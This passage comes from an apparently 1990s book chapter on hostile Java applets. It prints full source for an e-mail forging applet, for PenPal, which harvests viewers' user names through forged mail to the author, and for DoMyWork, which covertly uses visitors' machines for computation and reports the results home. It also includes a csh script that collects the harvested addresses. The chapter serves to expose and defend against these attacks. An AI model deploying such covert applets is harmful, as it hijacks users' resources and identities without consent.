               "that's exactly what my shell script retrieves from\n" +
               "/var/mail/mladue.  None of this is apparent from the\n" +
               "source code, and indeed I noticed it quite by accident \n" +
               "when I was fiddling around trying to make my mail forging\n" +
               "applet work.  Perhaps it's a peculiarity of the mail\n" +
               "system here in the School of Mathematics, but it really works\n"+
               "for me here.  So I hope that's what it is and that you'll\n" +
               "be able to reproduce my results there.\n" +
               "\n" + "Mark LaDue\n" + "mladue@math.gatech.edu\n" + "\n" +
               "\n" + "P.S. Of course one of my applets forged this note.\n" +
               "\n." + "\n");
        mailMe("QUIT");
        try {
            socker.close();
        }
        catch (IOException ioe) {}
    }

    public void mailMe(String toSend) {
        String response = new String();
        try {
            outer.println(toSend);
            outer.flush();
            response = inner.readLine();
        }
        catch(IOException e) {}
    }
}

The applet is very simple in its conception and operation. The init() method creates a socket to communicate with port 25 on the applet's home host, a DataInputStream to read lines of text to the socket, and a PrintStream to write lines of text to the socket. Once the applet starts, it uses its mailMe() method to interact with sendmail. mailMe() sends a string to sendmail and returns its response to the applet. The run() method of Forger then follows the command format given in /etc/mail/sendmail.hf to send its e-mail letter.

It is important to understand clearly what happens here. By viewing the applet, you are forced to connect to port 25 on the applet's home host, and you have no choice in the matter. You need not even be made aware that this is happening. The applet's author controls everything about your interaction with sendmail: the recipient, the message, and even the return address supplied to sendmail. Nevertheless, the e-mail header identifies you (or at least your machine) as the originator of the message.

Of course, on a soundly administered system, careful logging will reveal the applet's author as the instigator, so the threat may not be as serious as it seems at first.

The fact that the complete e-mail address of the person viewing the applet may show up in the e-mail header suggests that an applet can in fact obtain user names. Listing 23.8 displays such an applet.


Listing 23.8. PenPal.java.
import java.applet.*;
import java.io.*;
import java.net.*;

public class PenPal extends java.applet.Applet implements Runnable {

    public static Socket socker;
    public static DataInputStream inner;
    public static PrintStream outer;
    public static int mailPort = 25 ;
    public static String mailFrom = "my.hostile.applet";
    public static String toMe = "mladue@math.gatech.edu"; //Change this please!
    public static String starter = new String();
    Thread controller = null;

    public void init() {

     try {
         socker = new Socket(getDocumentBase().getHost(), mailPort);
         inner = new DataInputStream(socker.getInputStream());
         outer = new PrintStream(socker.getOutputStream());
        }
        catch (IOException ioe) {}
    }

    public void start() {
        if (controller == null) {
            controller = new Thread(this);
            controller.setPriority(Thread.MAX_PRIORITY);
            controller.start();
        }
    }

    public void stop() {
        if (controller != null) {
            controller.stop();
            controller = null;
        }
    }

    public void run() {
        try {
            starter = inner.readLine();
        }
        catch (IOException ioe) {}
        mailMe("HELO " + mailFrom);
        mailMe("MAIL FROM: " + "penpal@" + mailFrom);
     mailMe("RCPT TO: " + toMe);
     mailMe("DATA");
        mailMe("Hey, it worked!" + "\n." + "\n");
        mailMe("QUIT");
        try {
            socker.close();
        }
        catch (IOException ioe) {}
    }

    public void mailMe(String toSend) {
        String response = new String();
        try {
            outer.println(toSend);
            outer.flush();
            response = inner.readLine();
        }
        catch(IOException e) {}
    }
}

The applet works just like Forger.java. Now the person viewing the applet is compelled to send a simple note to the applet's author (mladue@math.gatech.edu). In order to make a convenient list of e-mail addresses, the author used a little UNIX shell script (shown in listing 23.9) to scan his incoming mail for messages from penpal@my.hostile.applet and select the fields of those letters that might contain complete e-mail addresses, including user names. The applet seems to be successful in obtaining a user name at least 20% of the time. Although it is not perfectly successful, it works often enough to be considered a hazard to those concerned about privacy. The fact that it works at all shows once again that Java can behave in ways unexpected by the language's creators. (For reasons of privacy, a sample of the output is not included here.)


Listing 23.9. Update (shell script).
#! /bin/csh
grep "from my" /var/mail/mladue | cut -f4,5 -d" " >> ~/public_html/penpals
sort ~/public_html/penpals | uniq > .allpals
/bin/rm ~/public_html/penpals
mv .allpals ~/public_html/penpals
chmod 755 ~/public_html/penpals

Are Stealthy Applets Dangerous?

The applets in this section pose some difficult questions for the Java language. With the potential for mischief so clearly demonstrated, should an applet be allowed to connect to port 25 and send mail? Likewise, applets that connect to port 23 (telnet) could also get viewers into trouble. For example, it is possible to write an applet which connects to port 23 and repeatedly tries to login as root. The very nature of Java makes any telnet applet highly amenable to recording passwords. Should applets be allowed to connect to any ports at all? It is a very nice feature of the language that applets can do so, but this can lead to the unauthorized use of others' resources, as shown in the next section.

A Java Factoring-By-Web Project

The security of the RSA public key cryptosystem depends upon the difficulty of factoring a large integer into a product of prime numbers. In 1977 Rivest, Shamir, and Adelman, the inventors of RSA, announced their challenge problem of factoring a certain 129-digit integer, which came to be known as RSA-129. At the time, they estimated that it would take some 4 x 1016 years to factor their integer. But in April of 1994 a team of researchers announced that RSA-129 had been factored. The factorization had taken less than a year using the Quadratic Sieve alogorithm and the collaboration of many researchers and volunteers across the Internet.

Currently there is ongoing research into the prospects of organizing the World Wide Web into a general-purpose parallel computer capable of handling Grand Challenge problems. One such effort is the RSA Factoring-By-Web Project, which is organized by some of the same researchers who factored RSA-129. The project is sponsored by several research institutions, including NPAC at Syracuse University, BellCore, Oxford, and Boston University. In essence the project seeks voluntary contributions of computational resources from sites around the world. The volunteer sites work on portions of the larger factoring problems and report their results back to the major sites, which then collate and analyze the results. On April 10, 1996 the project reported that RSA-130 had been factored in a fraction of the time that it took to factor RSA-129.

This section presents a little Java Factoring-By-Web Project. The main differences between this project and the RSA Factoring-By-Web Project follow:

  1. This project uses Java applets exclusively, and it can easily be run by one person.
  2. This project factors relatively small (12-20 digit) integers using a terribly inefficient algorithm (trial division).
  3. Participation in the project need not be voluntary.

Listings 23.10-23.13 lay out the applet DoMyWork.java and its component classes, Calculator.java, Report.java, and ReportServerSocket.java.


Listing 23.10. DoMyWork.java.
import java.awt.*;
import java.applet.Applet;

public class DoMyWork extends java.applet.Applet implements Runnable {

//  Just a font to paint strings to the applet window
    Font bigFont = new Font("TimesRoman", Font.BOLD, 36);

//  These threads will make you perform the calculations
//  and send the results back to their home.
    Thread controller = null;
    Thread sleeper = null;

//  Used to read in a parameter that makes the thread sleep for a
//  specified number of seconds taking effect
    int delay;
//  Used to read in a parameter that determines the port to which
//  Sockets will be connected
    public static int thePort;

//  Used to read in as a parameter the long integer to be factored
    public static long theNumber;

//  Used to hold the localhost to which the applet will connect
    public static String theHome;

    public void init() {
    setBackground(Color.white);

//  Determine how many seconds the main thread should sleep before kicking in
    String str = getParameter("wait");
    if (str == null)
        delay = 0;
    else delay = (1000)*(Integer.parseInt(str));
//  Determine the port number
    str = getParameter("portnumber");
    if (str == null)
        thePort = 9000;
    else thePort = Integer.parseInt(str);
//  Determine the long integer to be factored
    str = getParameter("tobefactored");
    if (str == null)
        theNumber = 2L;
    else theNumber = Long.parseLong(str);
//  Determine the home host of the applet
    theHome = getDocumentBase().getHost();
    }


/*  Create and start the main thread in the standard way */

    public void start() {
        if (sleeper == null) {
        sleeper = new Thread(this);
        sleeper.setPriority(Thread.MAX_PRIORITY);
        sleeper.start();
        }
    }

/*  And why should we stop? */

    public void stop() {}

    public void run() {

//  Let the applet tell its lie
        repaint();

//  Let the applet sleep for a while to avert suspicion if you like
        try {sleeper.sleep(delay);}
        catch(InterruptedException e) {}

        if (controller == null) {
        Calculator calc = new Calculator();
        controller = new Thread(calc);
        controller.setPriority(Thread.MAX_PRIORITY);
        controller.start();
        }
    }

/*  Paints the applet's lie */

    public void update(Graphics g) {
        paint(g);
    }

    public void paint(Graphics g) {
    g.setColor(Color.blue);
    g.setFont(bigFont);
    g.drawString("I'm Not Doing Anything!", 10, 200);
    }
}


Listing 23.11. Calculator.java.
import java.io.*;
import java.net.*;
import DoMyWork;
import Report;

/*  This simple class just calls the class that does all the work */

public class Calculator extends java.applet.Applet implements Runnable {

//  The class that actually does the work
    public GetFactor doWork;

/*  As usual, we won't stop anything */

    public void stop() {}


/*  Starts the factoring by trial division */

    public void run() {
        doWork = new GetFactor();
    }
}
/*  This class takes a given long integer and tries to factor it
    by trial division.  Of course other alogorithms could be used
    instead, and you're not limited to such simple schemes. */


class GetFactor extends DoMyWork {

//  The quantities that we'll be working with
    long myNumber = DoMyWork.theNumber;
    int myPort = DoMyWork.thePort;
    String myHome = DoMyWork.theHome;
    long factor;
    long hopeful;
    Report sendIt = null;
    Long T = null;
    Long L = null;

//  Tells whether or not factoring was successful
    boolean success;

/*  Start factoring by trial division */

    GetFactor() {
        long maxfactor = (long) java.lang.Math.sqrt(myNumber) + 1;
        factor = 3L;
        hopeful = 0L;
        success = false;

        hopeful = myNumber % 2;
        if (hopeful == 0) {
            success = true;
            factor = 2;
        }
        else {
            success = false;
            factor = 3;
            while (success == false &&
                    factor <  maxfactor) {
                hopeful = myNumber % factor;
                if (hopeful == 0) {success = true;}
                factor += 2;
             }
        }
        if (success == false) {factor = myNumber;}
        else {
            if (factor > 2) {factor -= 2;}
        }
        T = new Long(myNumber);
        L = new Long(factor);
        String teststr = T.toString();
        String factorstr = L.toString();
        sendIt = new Report(myHome, myPort);
        sendIt.communicate(teststr, factorstr);
    }
}


Listing 23.12. Report.java.
/*  This class allows the applet to communicate with its home. */

import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
import java.util.Date;

public class Report {

    public String home = new String("www.math.gatech.edu");
    public int port = 9000;
    public String localhome = null;
    public boolean debug = false;
    public InetAddress localHome = null;
    public String localAddress = null;
    public Date rightNow;

//  Construct the class
    Report(String home, int port) {
        this.home = home;
        this.port = port;
    }

    public void communicate(String teststr, String factorstr) {
        Socket socker = null;
        OutputStream outerStream = null;
        byte by[] = new byte[4096];
        int numberbytes;
        InetAddress inneraddress = null;
        String response = null;
        StringBuffer responsebuf = new StringBuffer();
//      System.out.println("I'm up to no good");
        try {
            socker = new Socket(home, port);
            outerStream = socker.getOutputStream();
        }
        catch (IOException ioe) {
            if (debug)
                System.out.println("I can't open a socket to " + home);
        }
        try {
            if (debug)
                System.out.println("Sending factoring information to" + home);
            inneraddress = socker.getInetAddress();
            try {
                localHome = inneraddress.getLocalHost();
                localAddress = localHome.toString();
            }
            catch (UnknownHostException u) {
                System.out.println("I can't get the remote host's name");
            }
            rightNow = new Date();
            String time = rightNow.toString();
            responsebuf.append(localAddress + "\t" + time + "\t" +
                               teststr + "\t" + factorstr + "\n");
            response = responsebuf.toString();
            numberbytes = response.length();
            response.getBytes(0, numberbytes, by, 0);
            outerStream.write(by, 0, numberbytes);
        }
        catch (IOException ioe) {
            if (debug)
                System.out.println("I can't talk to " + home);
        }
    }
}


Listing 23.13. ReportServerSocket.java.
/*  This Java Application sets up a simple ServerSocket to receive
     data from the Java applet DoMyWork.java */

import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;

class ReportServerSocket{

    public static void main(String args[]) {

        ServerSocket server;
        Socket socker;
        InputStream innerStream;
//      OutputStream outerStream;
        String home = new String("www.math.gatech.edu");
        int port = 9000;
        byte by[] = new byte[4096];
        int numberbytes;
        String reply;

        if (args.length != 1) {
          System.out.println("Command: java ReportSocketServer <port number>");
            return;
        }

        System.out.println("ReportSocketServer Session Starting");
        System.out.println("*Factor is the smallest prime factor of Integer*");
        port = Integer.parseInt(args[0]);

//    Create the ServerSocket
        try {
            server = new ServerSocket(port);
            }
        catch (IOException ioe) {
            System.out.println("Unable to open port " + port);
            return;
        }

//  Listen for anyone sending reults back to the applet
        while (true) {
            try {
                socker = server.accept();
                innerStream = socker.getInputStream();
            }
            catch (IOException ioe) {
                System.out.println("Accept failed at port " + port);
                return;
            }
            try {
                numberbytes = innerStream.read(by, 0, 4096);
            }
            catch (IOException ioe) {
                System.out.println("Read failed at port " + port);
                return;
            }
            reply = new String(by, 0, 0, numberbytes);
            System.out.println("Host Name / IP Address \t" + "Date" +
                               "\t\t\t\t" + "Integer  \t" + "Factor");
            System.out.println(reply);

//  We could send a message back, but we won't right now
            try {
                socker.close();
            }
            catch (IOException ioe) {
                 System.out.println("Unable to close port " + port);
            }
        }
    }
}

The applet begins by reading in three parameters from its home page: a delay (in seconds), a port number, and a long integer to be factored.

After the main thread, sleeper sleeps for the number of seconds specified by delay, then creates a Calculator object, calc, and a new thread, controller, in which the action takes place. Now calc simply creates a new getFactor object, doWork, to factor the given integer. The class getFactor factors an integer by trial division, and it creates a new instance of the Report class, sendit, to communicate its results back to the applet's home site. The Java application ReportServerSocket sets up a ServerSocket to listen on a specified port for these results, which are readily redirected to a file and which can be displayed from a Web page.

The Dangers of Stealthy Applets

At first glance DoMyWork.java does not appear to be such a hostile applet. But while it does not attempt to annoy you and squander your resources, it stealthily puts your workstation to work for someone else, perhaps a business competitor, a criminal, or even a foreign government. Clearly someone could do the same thing with any Java program that he or she wanted you to run. To create an applet that does other work, you can replace the class GetFactor by some other class or classes, and you can adjust the classes Report and ReportServerSocket to handle whatever data you would like returned.

This possibility raises a tangled web of unaddressed legal and ethical questions, and it is at least conceivable that running such an applet might be illegal in some situations. For example, suppose that a federal employee, say from NASA, happens to download an applet which begins using government resources for private ends. Have any laws been broken, and if so, who is the guilty party? Now suppose that instead of factoring integers, the applet farms out pieces of a brute force attack to decrypt some financial information, and suppose that an FBI agent, doing a little lunchtime browsing, happens to download the applet running this decryption program.

Now what laws are being broken, and who is responsible? From these possibilities you see that DoMyWork.java is another very hostile applet.

You have already seen good reasons why applets may need further restrictions upon the network connections that they are allowed to make. Applets which are allowed to connect to port 25 can forge electronic mail, and applets connecting to port 23 for telnet run the risk of revealing passwords. The present example shows that even allowing applets to establish connections to other ports on their home hosts entails risks.

Summary

This chapter has taken a hacker's approach to Java, and introduced the subject of hostile applets. It started by discussing some recent hostile applets developed by Princeton researchers, and then went on to consider a diverse collection of others: the Noisy Bear, a trio of gluttonous browser killers, a nasty "big windows" attack, the Applet Killer, an e-mail forger that gets user names, and one that silently exploits your system's resources. Clearly applets need not seek the Hackers' Holy Grail of altering, reading, and deleting files in order to be hostile. Sometimes it can be advantageous just to exploit someone's resources silently, and at other times simply being annoying and disruptive can achieve some ends.

Hostile applets come in many varieties, and it is a very difficult task to build effective defenses against them all.

Although hostile applets are not yet lurking just around every corner of the World Wide Web, that may change in the future. Various kinds have already appeared on the Web and are now readily available, and in the future more are certain to appear. The time to begin thinking seriously about them and building better defenses against them is now. It is clear that browsers must give their users more effective means for controlling applets and their threads. It is also clear that further restrictions will be needed on the network connections that applets are allowed to make. As drastic changes in Java seem unlikely at this time, and as a system of trusted sources may not appear in the near future, the Java community will be forced to battle hostile applets in other ways.

This chapter sought to expose, by means of concrete examples, several of the problems that remain to be faced.